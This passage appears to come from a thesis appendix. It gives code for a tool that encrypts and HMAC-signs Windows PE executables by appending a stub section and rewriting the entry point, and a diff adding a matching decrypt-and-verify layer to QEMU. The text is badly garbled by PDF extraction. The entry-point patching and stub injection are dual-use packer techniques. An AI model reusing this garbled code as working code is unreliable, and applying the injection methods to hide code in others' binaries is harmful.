" \ x81 \ xC1 \ x10 \ x00 \ x00 \ x00 " //add ecx , <patch vaddr/ s i z e pa i r s ( s i gn )>
" \ x8B \ x01 " //mov eax , dword ptr [ ecx ]
" \ x85 \ xC0 " // t e s t eax , eax
654 " \ x74 \ x07 " // j z <deadbeef stub>
" \ x8A \ x00 " //mov al , byte ptr [ eax ]
" \ x83 \ xC1 \ x28 " //add ecx ,28
" \ xEB \ xF3 " //jmp <begin t h i s block>
659 " \ x8B \ xCA " //mov ecx , edx
" \ x81 \ xC1 \ x00 \ x00 \ x00 \ x00 " //add ecx , <patch vaddr/ s i z e pa i r s ( encrypt )>
" \ x8B \ x01 " //mov eax , dword ptr [ ecx ]
" \ x85 \ xC0 " // t e s t eax , eax
" \ x74 \ x07 " // j z <deadbeef stub>
664 " \ x8A \ x00 " //mov al , byte ptr [ eax ]
" \ x83 \ xC1 \ x08 " //add ecx , 8
" \ xEB \ xF3 " //jmp <begin t h i s block>
" \ xB8 \ xEF \ xBE \ xAD \ xDE " //mov eax , 0xDEADBEEF
669 " \ xBB \ xEF \ xBE \ xAD \ xDE " //mov ebx , 0xDEADBEEF
" \ xCD \ x2E " // in t 0x2e
" \ xC6 \ x05 \ xFF \ xFF \ xFF \ xFF \ x46 " //mov [<jmp patch > ] ,0 x31
674 " \ x61 " //popad
" \ x9D " // popaf
" \ xE9 \ xFF \ xFF \ xFF \ xFF " ; //jmp <patch addr with OEP>
// the f i r s t i n i t i a l i z e d module should c l e a r the page tab l e
679 i f ( toupper ( s t r F i r s t I n i t [ 0 ] ) == ’ Y ’ && toupper ( s t r L a s t I n i t [ 0 ] ) == ’ Y ’ ) {
bCode [ SIG STUB SIZE−20] = 0xED;
bCode [ SIG STUB SIZE−19] = 0xBE;
bCode [ SIG STUB SIZE−18] = 0xED;
bCode [ SIG STUB SIZE−17] = 0xCE;
684 }
else i f ( toupper ( s t r F i r s t I n i t [ 0 ] ) == ’ Y ’ ) {
bCode [ SIG STUB SIZE−20] = 0xED;
bCode [ SIG STUB SIZE−19] = 0xCE;
bCode [ SIG STUB SIZE−18] = 0xED;
689 bCode [ SIG STUB SIZE−17] = 0xCE;
}
else i f ( toupper ( s t r L a s t I n i t [ 0 ] ) == ’ Y ’ ) {
bCode [ SIG STUB SIZE−20] = 0xED;
bCode [ SIG STUB SIZE−19] = 0xBE;
694 bCode [ SIG STUB SIZE−18] = 0xED;
bCode [ SIG STUB SIZE−17] = 0xBE;
}
// patch jump patch addr
699 DWORD lpAddr = peFi le−>in th . OptionalHeader . ImageBase +
( peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>Virtua lAddress ) + 1 ;
bCode [ SIG STUB SIZE−12] = ( (BYTE∗)&lpAddr ) [ 0 ] ;
bCode [ SIG STUB SIZE−11] = ( (BYTE∗)&lpAddr ) [ 1 ] ;
bCode [ SIG STUB SIZE−10] = ( (BYTE∗)&lpAddr ) [ 2 ] ;
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704 bCode [ SIG STUB SIZE−9] = ( (BYTE∗)&lpAddr ) [ 3 ] ;
// patch addr o f metadata
DWORD dwAddr = peFi le−>in th . OptionalHeader . ImageBase +
peFi le−>i s h s [ peFi le−>inth . Fi leHeader . NumberOfSections−1]−>Virtua lAddress ;
709 bCode [ 6 ] = ( ( char∗)&dwAddr) [ 1 ] ;
bCode [ 7 ] = ( ( char∗)&dwAddr) [ 2 ] ;
bCode [ 8 ] = ( ( char∗)&dwAddr) [ 3 ] ;
// patch address o f vaddr/ s i z e pa i r s
714 DWORD dwSize = ( ( deqAuthPageAddrSize . s i z e ( ) /2) ∗ (8 + SHA256 DIGEST LENGTH) ) + 16 ;
bCode [ 3 4 ] = ( ( char∗)&dwSize ) [ 0 ] ;
bCode [ 3 5 ] = ( ( char∗)&dwSize ) [ 1 ] ;
bCode [ 3 6 ] = ( ( char∗)&dwSize ) [ 2 ] ;
bCode [ 3 7 ] = ( ( char∗)&dwSize ) [ 3 ] ;
719
// patch jmp addr to o r i g i n a l entry point ( l a s t s e c t i on assumed to be . SigStub )
lpAddr = peFi le−>inth . OptionalHeader . AddressOfEntryPoint −
( peFi le−>i s h s [ peFi le−>in th . Fi leHeader . NumberOfSections−1]−>Virtua lAddress + SIG STUB SIZE) ;
bCode [ SIG STUB SIZE−4] = ( (BYTE∗)&lpAddr ) [ 0 ] ;
724 bCode [ SIG STUB SIZE−3] = ( (BYTE∗)&lpAddr ) [ 1 ] ;
bCode [ SIG STUB SIZE−2] = ( (BYTE∗)&lpAddr ) [ 2 ] ;
bCode [ SIG STUB SIZE−1] = ( (BYTE∗)&lpAddr ) [ 3 ] ;
cout << " A d d i n g . S i g S t u b s ’ s e c t i o n c o d e and d a t a ... s u c c e s s " << endl ;
729 //add pro log to l a s t s e c t i on ( assumed to be . SigStub )
memcpy( peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections−1] , bCode , SIG STUB SIZE)...
;
//add Vi r tua l Address / S i z e pa i r s and encrypt the data
DWORD dwAddress = 0 ;
734 dwSize = 0 ;
int i O f f s e t = SIG STUB SIZE + 16 + (( deqAuthPageAddrSize . s i z e ( ) /2) ∗ (8 + SHA256 DIGEST LENGTH...
) ) ;
AES KEY aesKey ;
unsigned char i v s a l t [ 1 6 ] , temp iv [ 1 6 ] ;
739 unsigned char ∗key = (unsigned char∗) mal loc ( iKeyLength >> 3) ;
RAND pseudo bytes ( i v s a l t , 16) ;
PKCS5 PBKDF2 HMAC SHA1( argv [ 3 ] , s t r l e n ( argv [ 3 ] ) , i v s a l t , 16 , 1 , ( iKeyLength >> 3) , key ) ;
744
AES set encrypt key ( key , iKeyLength , &aesKey ) ;
while ( deqAddrSize . s i z e ( ) >= 2) {
749 dwAddress = deqAddrSize . back ( ) ;
deqAddrSize . pop back ( ) ;
dwSize = deqAddrSize . back ( ) ;
deqAddrSize . pop back ( ) ;
754 cout << hex << " A d d i n g v i r t u a l a d d r e s s / s i z e p a i r (0 x " << dwAddress << " ,0 x " << dwSize
<< " ) to f i l e ... " ;
//Add v i r t u a l addr , s i z e pa i r s
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t ] = ( ( char∗)&...
dwAddress ) [ 0 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +1] = ( ( char∗)&...
dwAddress ) [ 1 ] ;
92
759 peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +2] = ( ( char∗)&...
dwAddress ) [ 2 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +3] = ( ( char∗)&...
dwAddress ) [ 3 ] ;
iO f f s e t += 4 ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t ] = ( ( char∗)&dwSize...
) [ 0 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +1] = ( ( char∗)&...
dwSize ) [ 1 ] ;
764 peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +2] = ( ( char∗)&...
dwSize ) [ 2 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +3] = ( ( char∗)&...
dwSize ) [ 3 ] ;
iO f f s e t += 4 ;
cout << " s u c c e s s " << endl ;
769 i f ( dwSize == 0)
break ;
// f i nd s e c t i on with code to encrypt
int iSecNum = −1;
774 for ( int i = 0 ; i < peFi le−>inth . Fi leHeader . NumberOfSections ; i++) {
i f ( dwAddress >= peFi le−>i s h s [ i ]−>Virtua lAddress + peFi le−>inth . OptionalHeader . ImageBase ...
&&
dwAddress − ( peFi le−>i s h s [ i ]−>Virtua lAddress + peFi le−>inth . OptionalHeader . ImageBase )...
+ dwSize <=
peFi le−>i s h s [ i ]−>SizeOfRawData )
iSecNum = i ;
779 }
i f ( iSecNum == −1) {
cout << " C o u l d not f i n d s e c t i o n for v i r t u a l a d d r e s s 0 x " << hex << dwAddress <<
" w i t h s i z e 0 x " << dwSize << endl ;
784 e x i t (−1) ;
}
cout << " E n c r y p t i n g c o d e at a d d r e s s 0 x " << hex << dwAddress << " w i t h s i z e 0 x " << dwSize <<...
" ... " ;
789 for ( int i = 0 ; i < 16 ; i++)
temp iv [ i ] = i v s a l t [ i ] ;
//Encrypt the code
AES cbc encrypt (&( peFi le−>bSectionData [ iSecNum ] [ dwAddress − ( peFi le−>i s h s [ iSecNum]−>...
Vir tua lAddress +
794 peFi le−>in th . OptionalHeader . ImageBase ) ] ) ,
&(peFi le−>bSectionData [ iSecNum ] [ dwAddress − ( peFi le−>i s h s [ iSecNum]−>Virtua lAddress +
peFi le−>in th . OptionalHeader . ImageBase ) ] ) ,
dwSize , &aesKey , temp iv , AES ENCRYPT) ;
cout << " s u c c e s s " << endl ;
799 }
cout << " A d d i n g i n i t i a l i z a t i o n v e c t o r and s a l t ... s u c c e s s " << endl ;
for ( int i = 0 ; i < 16 ; i++)
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ SIG STUB SIZE+i ] = i v s a l t ...
[ i ] ;
804
//add hmacs
iO f f s e t = SIG STUB SIZE + 16 ;
unsigned char hmac [SHA256 DIGEST LENGTH ] ;
93
s t r i n g tempStr ;
809 while ( deqAuthPageAddrSize . s i z e ( ) >= 1) {
dwAddress = deqAuthPageAddrSize . back ( ) ;
deqAuthPageAddrSize . pop back ( ) ;
dwSize = deqAuthPageAddrSize . back ( ) ;
814 deqAuthPageAddrSize . pop back ( ) ;
tempStr = deqAuthModName . back ( ) ;
deqAuthModName . pop back ( ) ;
cout << hex << " A d d i n g v i r t u a l a d d r e s s / s i z e p a i r (0 x " << dwAddress << " ,0 x " << dwSize
819 << " ) to f i l e ... " ;
//Add v i r t u a l addr , s i z e pa i r s
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t ] = ( ( char∗)&...
dwAddress ) [ 0 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +1] = ( ( char∗)&...
dwAddress ) [ 1 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +2] = ( ( char∗)&...
dwAddress ) [ 2 ] ;
824 peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +3] = ( ( char∗)&...
dwAddress ) [ 3 ] ;
iO f f s e t += 4 ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t ] = ( ( char∗)&dwSize...
) [ 0 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +1] = ( ( char∗)&...
dwSize ) [ 1 ] ;
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +2] = ( ( char∗)&...
dwSize ) [ 2 ] ;
829 peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t +3] = ( ( char∗)&...
dwSize ) [ 3 ] ;
iO f f s e t += 4 ;
cout << " s u c c e s s " << endl ;
i f ( dwSize == 0)
834 break ;
i f ( str icmp ( " u s e r . d e f i n e d " , tempStr . c s t r ( ) ) == 0) { // code i s user de f ined
BYTE ∗data = (BYTE∗) mal loc ( dwSize ) ;
DWORD byteData ;
839 cout << " U s e r d e f i n e d s i g n e d c o d e at a d d r e s s " << hex << dwAddress << endl ;
cout << " E n t e r d a t a in b y t e s ( i . e . FA 12 4 E ) : " ;
for ( int i = 0 ; i < dwSize ; i++) {
c in >> hex >> byteData ;
data [ i ] = byteData ;
844 }
cout << " S i g n i n g c o d e / d a t a at a d d r e s s 0 x " << hex << dwAddress << " w i t h s i z e 0 x " << ...
dwSize << " ... " ;
// Sign the code
HMAC(EVP sha256 ( ) , key , ( iKeyLength >> 3) , data , dwSize , hmac , NULL) ;
} else i f ( str icmp ( argv [ 1 ] , tempStr . c s t r ( ) ) == 0) { // code i s in t h i s module
849 // f i nd s e c t i on with data to hmac
int iSecNum = −1;
for ( int i = 0 ; i < peFi le−>inth . Fi leHeader . NumberOfSections ; i++) {
i f ( dwAddress >= peFi le−>i s h s [ i ]−>Virtua lAddress + peFi le−>inth . OptionalHeader . ...
ImageBase &&
dwAddress − ( peFi le−>i s h s [ i ]−>Virtua lAddress + peFi le−>inth . OptionalHeader . ...
ImageBase ) + dwSize <=
854 peFi le−>i s h s [ i ]−>SizeOfRawData )
iSecNum = i ;
}
94
i f ( iSecNum == −1) {
859 cout << " C o u l d not f i n d s e c t i o n for v i r t u a l a d d r e s s 0 x " << hex << dwAddress <<
" w i t h s i z e 0 x " << dwSize << endl ;
e x i t (−1) ;
}
864 cout << " S i g n i n g c o d e / d a t a at a d d r e s s 0 x " << hex << dwAddress << " w i t h s i z e 0 x " << ...
dwSize << " ... " ;
// Sign the code
HMAC(EVP sha256 ( ) , key , ( iKeyLength >> 3) ,
&(peFi le−>bSectionData [ iSecNum ] [ dwAddress − ( peFi le−>i s h s [ iSecNum]−>Virtua lAddress +
869 peFi le−>inth . OptionalHeader . ImageBase ) ] ) , dwSize , hmac , NULL) ;
}
else { // code we are s i gn ing i s in d i f f e r e n t module
SPEFile peTempFile ;
i f ( ! ReadPeFile ( tempStr . c s t r ( ) , &peTempFile , 0) ) {
874 c e r r << " E r r o r r e a d i n g f i l e " << tempStr . c s t r ( ) << endl ;
e x i t (−1) ;
}
// f i nd s e c t i on with data to hmac
879 int iSecNum = −1;
for ( int i = 0 ; i < peTempFile . inth . Fi leHeader . NumberOfSections ; i++) {
i f ( dwAddress >= peTempFile . i s h s [ i ]−>Virtua lAddress + peTempFile . inth . OptionalHeader . ...
ImageBase &&
dwAddress − ( peTempFile . i s h s [ i ]−>Virtua lAddress + peTempFile . inth . OptionalHeader . ...
ImageBase )
+ dwSize <= peTempFile . i s h s [ i ]−>SizeOfRawData )
884 iSecNum = i ;
}
i f ( iSecNum == −1) {
cout << " C o u l d not f i n d s e c t i o n for v i r t u a l a d d r e s s 0 x " << hex << dwAddress <<
889 " w i t h s i z e 0 x " << dwSize << endl ;
e x i t (−1) ;
}
cout << " S i g n i n g c o d e / d a t a at a d d r e s s 0 x " << hex << dwAddress << " w i t h s i z e 0 x " << ...
dwSize << " ... " ;
894
// Sign the code
HMAC(EVP sha256 ( ) , key , ( iKeyLength >> 3) ,
&(peTempFile . bSectionData [ iSecNum ] [ dwAddress − ( peTempFile . i s h s [ iSecNum]−>...
Vir tua lAddress +
peTempFile . inth . OptionalHeader . ImageBase ) ] ) , dwSize , hmac , NULL) ;
899 }
//Add mac
for ( int i = 0 ; i < SHA256 DIGEST LENGTH; i++)
peFi le−>bSectionData [ peFi le−>in th . Fi leHeader . NumberOfSections −1] [ iO f f s e t+i ] = hmac [ i ] ;
904 i O f f s e t += SHA256 DIGEST LENGTH;
cout << " s u c c e s s " << endl ;
}
cout << " U p d a t i n g f i l e entry - p o i n t to . S i g S t u b ... s u c c e s s " << endl ;
909
// c o r r e c t entry point
peFi le−>in th . OptionalHeader . AddressOfEntryPoint =
95
peFi le−>i s h s [ peFi le−>inth . Fi leHeader . NumberOfSections−1]−>Virtua lAddress ;
}
96
Appendix D. SecureQEMU 0.9.4 and QEMU 0.9.1 Diff
Listing D.1:
1
d i f f −r . / qemu−0.9.1/ cpu−a l l . h . / secureqemu/cpu−a l l . h
22a23 ,24
> #inc lude <opens s l /evp . h>
>
6 22a24 ,25
> #inc lude " aes . h "
> #inc lude " s e c u r e q e m u . h "
365a373 ,382
>
11 > i f ( env−>r eg s [R EAX] == 0xDEADBEEF && //magic value
> g SecureQEMUEnabled ) { //−key opt ion i s used
>
> i f ( g PageSignEnabled )
> DoPageSigning ( ) ;
16 > else
> DoEncryptedOnly ( ) ;
> }
>
393 c410 ,411
21 < i f ( kqemu is ok ( env ) && env−>i n t e r r up t r e qu e s t == 0) {
−−−
> /∗ SecureQEMU ∗/
> i f ( kqemu is ok ( env ) && env−>i n t e r r up t r e qu e s t == 0 && ! c r 3 t ab l e [ env−>cr [ 3 ] >> ...
TARGET PAGE BITS] ) {
d i f f −r . / qemu−0.9.1/ exec . c . / secureqemu/ exec . c
26 1166 c1166 ,1167
< #i f de f ined (TARGET HAS ICE)
−−−
> /∗ SecureQEMU ∗/
> #i f de f ined (TARGET HAS ICE) && ! de f ined (DISABLE DUBUGGING SUPPORT)
31 1173 a1175 ,1177
> #i f d e f DISABLE DEBUGGING SUPPORT
> env−>s i n g l e s t e p enab l e d = 0 ;
> #end i f
d i f f −r . / qemu−0.9.1/ Makef i l e . / secureqemu/ Makef i l e
36 150d149
< $ (MAKE) −C t e s t s c l ean
d i f f −r . / qemu−0.9.1/ Makef i l e . t a r g e t . / secureqemu/ Makef i l e . t a r g e t
292 c292
< t r a n s l a t e . o op . o host−u t i l s . o
41 −−−
> t r a n s l a t e . o op . o host−u t i l s . o secureqemu . o
572 c572
< $ (CC) $ (VL LDFLAGS) $ (LDFLAGS) −o $@ $ˆ $ (LIBS) $ (SDL LIBS) $ (COCOA LIBS) $ (VL LIBS)
−−−
46 > $ (CC) − l s s l −l c r yp to $ (VL LDFLAGS) $ (LDFLAGS) −o $@ $ˆ $ (LIBS) $ (SDL LIBS) $ (COCOA LIBS) ...
$ (VL LIBS)
617a618 ,620
> secureqemu . o : secureqemu . c
> $ (CC) $ (HELPER CFLAGS) $ (CPPFLAGS) $ (BASE CFLAGS) −O0 −c −o $@ $<
>
51 d i f f −r . / qemu−0.9.1/ osdep . c . / secureqemu/osdep . c
116 a117
> i n t 6 4 t SecureQEMUCacheSize = ram s ize ;
121 c122
97
< " You do not h a v e e n o u g h s p a c e in ’% s ’ for the % d MB of Q E M U v i r t u a l ...
RAM .\ n " ,
56 −−−
> " You do not h a v e e n o u g h s p a c e in ’% s ’ for the % d MB of S e c u r e Q E M U ...
v i r t u a l RAM .\ n " ,
165 ,166 c166
< f p r i n t f ( s tder r , " C o u l d not map p h y s i c a l m e m o r y \ n " ) ;
< e x i t (1 ) ;
61 −−−
> return NULL;
Only in . / secureqemu / : secureqemu . c
#include " c o n f i g . h "
#include " e x e c . h "
66 #include " d i s a s . h "
#include " aes . h "
#include " s e c u r e q e m u . h "
#include <opens s l /evp . h>
#include <opens s l /hmac . h>
71 #include <opens s l / sha . h>
/∗ SecureQEMU ∗/
int g SecureQEMUEnabled = 0 ;
int g PageSignEnabled = 0 ;
76 char ∗ g szPass = NULL;
u in t32 t g iB i t s = 256 ; // de f au l t i s 256
u in t32 t ∗ c r 3 t ab l e [ ( 1 << 20) ] = {0} ;
u i n t 32 t ∗ c r 3 s i g n e d t a b l e [ ( 1 << 20) ] = {0} ;
u i n t 32 t pag e s i gn enab l ed t ab l e [ ( 1 << 20) ] = {0} ;
81 u in t32 t g max pro t ec t ed proce s s e s = 64 ;
u in t64 t c r 3 l a s t a c c e s s t a b l e [ ( 1 << 20) ] = {˜0} ;
u i n t 32 t num protec ted proces se s = 0 ;
AES KEY aesKey ;
unsigned char ∗g key ;
86 unsigned char i v s a l t [ 1 6 ] , temp iv [ 1 6 ] ;
/∗ Used in DoPageSigning ( ) and DoEncryptedOnly ( ) ∗/
u in t32 t ∗ c te = 0 ;
u i n t 8 t ∗pte = 0 ;
91 u in t32 t vaddr ;
u i n t32 t s i z e ;
u i n t32 t dwOffset ;
u i n t32 t index ;
u in t32 t c r3 index ;
96 unsigned char hmac [SHA256 DIGEST LENGTH ] ;
unsigned char hmac real [ SHA256 DIGEST LENGTH ] ;
stat ic inl ine void f r ee shadow pages ( u in t 32 t c r3 index ) {
stat ic u in t32 t i , j ;
101 stat ic u in t32 t ∗ c te ;
i f ( ( c t e = c r 3 t ab l e [ c r3 index ] ) != 0) {
for ( i = 0 ; i < (1 << 20) ; i++) {
i f ( c t e [ i ] ) {
for ( j = 0 ; j < TARGET PAGE SIZE; j++) {
106 ( ( u i n t 8 t ∗) c te [ i ] ) [ j ] = 0 ;
}
f r e e ( ( u in t32 t ∗) c te [ i ] ) ;
}
}
111 f r e e ( c te ) ;
c r 3 t ab l e [ c r3 index ] = 0 ;
98
c r 3 l a s t a c c e s s t a b l e [ c r3 index ] = ˜0 ;
}
}
116
stat ic inl ine void f r e e s i g n ed pag e s ( u in t32 t c r3 index ) {
stat ic u in t32 t i , j ;
stat ic u in t32 t ∗ c te ;
i f ( ( c t e = c r 3 s i g n e d t ab l e [ c r3 index ] ) != 0) {
121 for ( i = 0 ; i < (1 << 20) ; i++) {
i f ( c t e [ i ] ) {
for ( j = 0 ; j < TARGET PAGE SIZE; j++) {
( ( u i n t 8 t ∗) c te [ i ] ) [ j ] = 0 ;
}
126 f r e e ( ( u in t32 t ∗) c te [ i ] ) ;
}
}
f r e e ( c te ) ;
c r 3 s i g n e d t ab l e [ c r3 index ] = 0 ;
131 page s i gn enab l ed t ab l e [ c r3 index ] = 0 ;
}
}
stat ic inl ine void f r e e l r u p a g e s ( ) { // f i nd ( i f e x i s t s ) the l e a s t r e c en t l y used protec ted ...
p roce s s
136 stat ic u in t32 t i ;
stat ic u in t32 t l a s t a c c e s s i n d e x ;
stat ic u in t64 t l a s t a c c e s s ;
l a s t a c c e s s = ˜0 ;
for ( i = 0 ; i < (1 << 20) ; i++) {
141 i f ( c r 3 l a s t a c c e s s t a b l e [ i ] < l a s t a c c e s s ) {
l a s t a c c e s s i n d e x = i ;
l a s t a c c e s s = c r 3 l a s t a c c e s s t a b l e [ i ] ;
}
}
146 i f ( l a s t a c c e s s != ˜0) {
f r ee shadow pages ( l a s t a c c e s s i n d e x ) ;
f r e e s i g n ed pag e s ( l a s t a c c e s s i n d e x ) ;
}
}
151
stat ic inl ine void a l l o c a t e pag e ( u in t32 t ∗ cte , u i n t 32 t index ) {
i f ( ( ( ( u i n t 8 t ∗) c t e [ index ] ) = memalign (TARGET PAGE SIZE, TARGET PAGE SIZE) ) == NULL) {
f r e e l r u p a g e s ( ) ;
156
i f ( ( ( ( u i n t 8 t ∗) c te [ index ] ) = ( u i n t 8 t ∗)memalign (TARGET PAGE SIZE, TARGET PAGE SIZE) ) == ...
NULL) {
p r i n t f ( " C o u l d not a l l o c a t e p a g e !\ n " ) ;
e x i t (−1) ;
}
161 }
}
stat ic inl ine void DoPageSignHelper ( ) {
stat ic int i ;
166 dwOffset = 16 ;
s i z e = 1 ;
while ( s i z e != 0) {
i f ( cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset , (unsigned char∗)&vaddr , 4 , 0) != 0...
| | //vaddr
99
cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset + 4 , (unsigned char∗)&s i z e , 4 , 0) ...
!= 0 | | // s i z e
171 cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset + 8 , hmac , SHA256 DIGEST LENGTH, 0)...
!= 0) //hmac
return ;
dwOffset += 8 + SHA256 DIGEST LENGTH;
i f ( s i z e == 0)
176 return ;
index = ( vaddr >> TARGET PAGE BITS) ;
i f ( ( vaddr & TARGET PAGE MASK) != ( ( vaddr + s i z e −1) & TARGET PAGE MASK) ) {
181 p r i n t f ( " V i r t u a l a d d r e s s 0 x %08 x w i t h s i z e 0 x %08 x s p a n s m u l t i p l e p a g e s !\ n " , vaddr , s i z e ) ;
continue ;
}
i f ( ( pte = ( u i n t 8 t ∗) c te [ index ] ) == 0) {
186 a l l o c a t e pag e ( cte , index ) ;
pte = ( u i n t 8 t ∗) c t e [ index ] ;
}
i f ( cpu memory rw debug ( env , vaddr , &(pte [ vaddr & ˜TARGET PAGE MASK] ) , s i z e , 0) != 0) {
191 p r i n t f ( " C o u l d not r e a d g u e s t m e m o r y at v i r t u a l a d d r e s s 0 x %08 x w i t h s i z e 0 x %08 x !\ n " , ...
vaddr , s i z e ) ;
continue ;
}
HMAC(EVP sha256 ( ) , g key , ( g iB i t s >> 3) , &(pte [ vaddr & ˜TARGET PAGE MASK] ) , s i z e , ...
hmac real , NULL) ;
196
i f (memcmp(hmac , hmac real , SHA256 DIGEST LENGTH) != 0) {
memset(&( pte [ vaddr & ˜TARGET PAGE MASK] ) , 0 , s i z e ) ; // c l e a r unsigned code
p r i n t f ( " H M A C s at a d d r e s s 0 x %08 x w i t h s i z e 0 x %08 x do not m a t c h !\ n " , vaddr , s i z e ) ;
continue ;
201 }
}
}
stat ic inl ine void DoDecryptHelper ( int IsSignedPageTable ) {
206
stat ic u in t32 t i ;
// read and decrypt vaddr/ s i z e pa i r s f o r encrypted r eg i on s
s i z e = 1 ;
211 while ( s i z e != 0) {
i f ( cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset , (unsigned char∗)&vaddr , 4 , 0) != 0...
| |
cpu memory rw debug ( env , env−>r eg s [R EDX] + dwOffset + 4 , (unsigned char∗)&s i z e , 4 , 0) ...
!= 0)
break ;
dwOffset += 8 ;
216
i f ( s i z e == 0)
return ;
index = ( vaddr >> TARGET PAGE BITS) ;
221
i f ( ( vaddr & TARGET PAGE MASK) != ( ( vaddr + s i z e −1) & TARGET PAGE MASK) ) {
p r i n t f ( " V i r t u a l a d d r e s s 0 x %08 x w i t h s i z e 0 x %08 x s p a n s m u l t i p l e p a g e s !\ n " , vaddr , s i z e ) ;
100
qemu vfree ( c te [ index ] ) ;
c t e [ index ] = 0 ;
226 return ;
} else i f ( s i z e & 0x0000000f ) {
p r i n t f ( " S i z e 0 x %08 x is not a m u l t i p l e of 16 b y t e s !\ n " , s i z e ) ;
qemu vfree ( c te [ index ] ) ;
c t e [ index ] = 0 ;
231 return ;
}
i f ( ( pte = ( u in t32 t ∗) c t e [ index ] ) == 0) {
236 i f ( IsSignedPageTable ) {
p r i n t f ( " T r y i n g to d e c r y p t an u n s i g n e d c o d e r e g i o n at a d d r e s s %08 x w i t h s i z e %08 x !\ n " ,
vaddr , s i z e ) ;
return ;
}
241
a l l o c a t e pag e ( cte , index ) ;
pte = ( u in t32 t ∗) c te [ index ] ;
i f ( cpu memory rw debug ( env , ( vaddr & TARGET PAGE MASK) , pte , TARGET PAGE SIZE, 0) != 0) ...
{
246 p r i n t f ( " C o u l d not r e a d p a g e at v i r t u a l a d d r e s s 0 x %08 x !\ n " , vaddr ) ;
qemu vfree ( c te [ index ] ) ;
c t e [ index ] = 0 ;
return ;
}
251 }
for ( i = 0 ; i < 16 ; i++)
temp iv [ i ] = i v s a l t [ i ] ;
AES cbc encrypt (&( pte [ vaddr & ˜TARGET PAGE MASK] ) , &(pte [ vaddr & ˜TARGET PAGE MASK] ) ,
256 s i z e , &aesKey , temp iv , 0) ;
}
}
in l ine void DoPageSigning ( ) {
261
stat ic u in t32 t dwOffsetSave ;
c r3 index = env−>cr [ 3 ] >> TARGET PAGE BITS;
// f i r s t module loaded needs to c l e a r shadow page tab l e
266 i f ( env−>r eg s [R EBX] == 0xCEEDBEED | | env−>r eg s [R EBX] == 0xCEEDCEED) {
f r ee shadow pages ( c r3 index ) ;
f r e e s i g n ed pag e s ( c r3 index ) ;
}
else i f ( env−>r eg s [R EBX] != 0xDEADBEEF && env−>r eg s [R EBX] != 0xBEEDBEED)
271 return ;
// i f shadow page tab l e does not e x i s t then a l l o c a t e one
i f ( c r 3 t ab l e [ c r3 index ] == 0) {
num protec ted proces se s++;
276
i f ( num protec ted proces se s > g max pro t ec t ed proce s s e s )
f r e e l r u p a g e s ( ) ;
i f ( ( c r 3 t ab l e [ c r3 index ] = ( u in t32 t ∗) c a l l o c ( (1 << 20) , s izeof ( u in t 32 t ∗) ) ) == 0) {
281 p r i n t f ( " C o u l d not a l l o c a t e m e m o r y for s h a d o w p a g e t a b l e !\ n " ) ;
return ;
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}
}
286 // i f s igned page tab l e does not e x i s t then a l l o c a t e one
i f ( ( c t e = ( u in t32 t ∗) c r 3 s i g n e d t ab l e [ c r3 index ] ) == 0) {
i f ( ( c te = ( ( u in t32 t ∗) c r 3 s i g n e d t ab l e [ c r3 index ] ) =
( u in t32 t ∗) c a l l o c ( (1 << 20) , s izeof ( u in t32 t ∗) ) ) == NULL) {
p r i n t f ( " C o u l d not a l l o c a t e m e m o r y for s i g n e d p a g e t a b l e !\ n " ) ;
291 return ;
}
}
// read i n i t i a l i z a t i o n vector / s a l t
296 i f ( cpu memory rw debug ( env , env−>r eg s [R EDX] , i v s a l t , 16 , 0) != 0) {
p r i n t f ( " C o u l d not r e a d iv / s a l t at v i r t u a l a d d r e s s 0 x %08 x !\ n " , env−>r eg s [R EDX] ) ;
return ;
}
301 PKCS5 PBKDF2 HMAC SHA1( g szPass , s t r l e n ( g szPass ) , i v s a l t , 16 , 1 , ( g i B i t s >> 3) , g key ) ;
AES set decrypt key ( g key , g iB i t s , &aesKey ) ;
// read and check hmacs
i f ( env−>r eg s [R EBX] == 0xBEEDBEED | | env−>r eg s [R EBX] == 0xCEEDBEED) {
306 DoPageSignHelper ( ) ;
// decrypt with in s igned page tab l e
DoDecryptHelper (1 ) ;
311 f r ee shadow pages ( c r3 index ) ;
c r 3 t ab l e [ c r3 index ] = c r 3 s i g n e d t ab l e [ c r3 index ] ;
p ag e s i gn enab l ed t ab l e [ c r3 index ] = 1 ; // enable page s i gn ing f o r t h i s p roce s s
316 }
else {
DoPageSignHelper ( ) ;
// decrypt with in s igned page tab l e
321 dwOffsetSave = dwOffset ;
DoDecryptHelper (1 ) ;
// decrypt with in shadow page tab l e
dwOffset = dwOffsetSave ;
326 c te = ( u in t32 t ∗) c r 3 t ab l e [ c r3 index ] ;
DoDecryptHelper (0 ) ;
}
}
331 inl ine void DoEncryptedOnly ( ) {
